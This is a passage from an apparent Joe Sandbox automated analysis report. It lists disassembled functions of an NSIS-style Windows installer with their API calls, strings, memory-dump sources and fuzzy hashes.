                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Global$AllocFileFree$CloseDeleteHandleWrite
                                                                                                                                                                • String ID: created uninstaller: %d, "%s"
                                                                                                                                                                • API String ID: 3294113728-3145124454
                                                                                                                                                                • Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
                                                                                                                                                                • Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
                                                                                                                                                                • Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
                                                                                                                                                                • Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98
                                                                                                                                                                Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
                                                                                                                                                                • GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
                                                                                                                                                                • WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
                                                                                                                                                                • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
                                                                                                                                                                • lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
                                                                                                                                                                • lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
                                                                                                                                                                • WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
                                                                                                                                                                • String ID: RMDir: RemoveDirectory invalid input("")
                                                                                                                                                                • API String ID: 3734993849-2769509956
                                                                                                                                                                • Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
                                                                                                                                                                • Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
                                                                                                                                                                • Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
                                                                                                                                                                • Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD
                                                                                                                                                                Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
                                                                                                                                                                • GetSysColor.USER32(00000000), ref: 00403E00
                                                                                                                                                                • SetTextColor.GDI32(?,00000000), ref: 00403E0C
                                                                                                                                                                • SetBkMode.GDI32(?,?), ref: 00403E18
                                                                                                                                                                • GetSysColor.USER32(?), ref: 00403E2B
                                                                                                                                                                • SetBkColor.GDI32(?,?), ref: 00403E3B
                                                                                                                                                                • DeleteObject.GDI32(?), ref: 00403E55
                                                                                                                                                                • CreateBrushIndirect.GDI32(?), ref: 00403E5F
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2320649405-0
                                                                                                                                                                • Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
                                                                                                                                                                • Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
                                                                                                                                                                • Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
                                                                                                                                                                • Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94
                                                                                                                                                                Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C
                                                                                                                                                                  • Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
                                                                                                                                                                  • Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
                                                                                                                                                                  • Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
                                                                                                                                                                  • Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
                                                                                                                                                                  • Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
                                                                                                                                                                  • Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
                                                                                                                                                                  • Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D
                                                                                                                                                                  • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                                                                                                                  • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                                                                                                                • LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
                                                                                                                                                                • FreeLibrary.KERNEL32(?,?), ref: 004024C3
                                                                                                                                                                Strings
                                                                                                                                                                • Error registering DLL: Could not initialize OLE, xrefs: 004024F1
                                                                                                                                                                • Error registering DLL: Could not load %s, xrefs: 004024DB
                                                                                                                                                                • Error registering DLL: %s not found in %s, xrefs: 0040249A
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
                                                                                                                                                                • String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
                                                                                                                                                                • API String ID: 1033533793-945480824
                                                                                                                                                                • Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
                                                                                                                                                                • Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
                                                                                                                                                                • Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
                                                                                                                                                                • Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D
                                                                                                                                                                Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                                                                                                                  • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                                                                                                                  • Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
                                                                                                                                                                  • Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
                                                                                                                                                                  • Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
                                                                                                                                                                  • Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
                                                                                                                                                                  • Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
                                                                                                                                                                  • Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
                                                                                                                                                                  • Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D
                                                                                                                                                                  • Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
                                                                                                                                                                  • Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71
                                                                                                                                                                • WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
                                                                                                                                                                • GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2
                                                                                                                                                                Strings
                                                                                                                                                                • Exec: failed createprocess ("%s"), xrefs: 004022C2
                                                                                                                                                                • Exec: command="%s", xrefs: 00402241
                                                                                                                                                                • Exec: success ("%s"), xrefs: 00402263
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
                                                                                                                                                                • String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
                                                                                                                                                                • API String ID: 2014279497-3433828417
                                                                                                                                                                • Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
                                                                                                                                                                • Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
                                                                                                                                                                • Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
                                                                                                                                                                • Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D
                                                                                                                                                                Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
                                                                                                                                                                • GetMessagePos.USER32 ref: 00404871
                                                                                                                                                                • ScreenToClient.USER32(?,?), ref: 00404889
                                                                                                                                                                • SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
                                                                                                                                                                • SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Message$Send$ClientScreen
                                                                                                                                                                • String ID: f
                                                                                                                                                                • API String ID: 41195575-1993550816
                                                                                                                                                                • Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
                                                                                                                                                                • Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
                                                                                                                                                                • Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
                                                                                                                                                                • Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5
                                                                                                                                                                Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
                                                                                                                                                                • MulDiv.KERNEL32(00015C00,00000064,?), ref: 00403295
                                                                                                                                                                • wsprintfW.USER32 ref: 004032A5
                                                                                                                                                                • SetWindowTextW.USER32(?,?), ref: 004032B5
                                                                                                                                                                • SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7
                                                                                                                                                                Strings
                                                                                                                                                                • verifying installer: %d%%, xrefs: 0040329F
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Text$ItemTimerWindowwsprintf
                                                                                                                                                                • String ID: verifying installer: %d%%
                                                                                                                                                                • API String ID: 1451636040-82062127
                                                                                                                                                                • Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
                                                                                                                                                                • Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
                                                                                                                                                                • Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
                                                                                                                                                                • Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58
                                                                                                                                                                Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
                                                                                                                                                                • wsprintfW.USER32 ref: 00404457
                                                                                                                                                                • SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ItemTextlstrlenwsprintf
                                                                                                                                                                • String ID: %u.%u%s%s$@rD
                                                                                                                                                                • API String ID: 3540041739-1813061909
                                                                                                                                                                • Opcode ID: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
                                                                                                                                                                • Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
                                                                                                                                                                • Opcode Fuzzy Hash: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
                                                                                                                                                                • Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679
                                                                                                                                                                Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
                                                                                                                                                                • CharNextW.USER32(?,?,?,00000000), ref: 004060AA
                                                                                                                                                                • CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
                                                                                                                                                                • CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Char$Next$Prev
                                                                                                                                                                • String ID: *?|<>/":
                                                                                                                                                                • API String ID: 589700163-165019052
                                                                                                                                                                • Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
                                                                                                                                                                • Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
                                                                                                                                                                • Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
                                                                                                                                                                • Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD
                                                                                                                                                                Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
                                                                                                                                                                • RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
                                                                                                                                                                • RegCloseKey.ADVAPI32(?), ref: 00401504
                                                                                                                                                                • RegCloseKey.ADVAPI32(?), ref: 00401529
                                                                                                                                                                • RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Close$DeleteEnumOpen
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1912718029-0
                                                                                                                                                                • Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
                                                                                                                                                                • Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
                                                                                                                                                                • Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
                                                                                                                                                                • Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29
                                                                                                                                                                Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetDlgItem.USER32(?), ref: 004020A3
                                                                                                                                                                • GetClientRect.USER32(00000000,?), ref: 004020B0
                                                                                                                                                                • LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
                                                                                                                                                                • SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
                                                                                                                                                                • DeleteObject.GDI32(00000000), ref: 004020EE
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1849352358-0
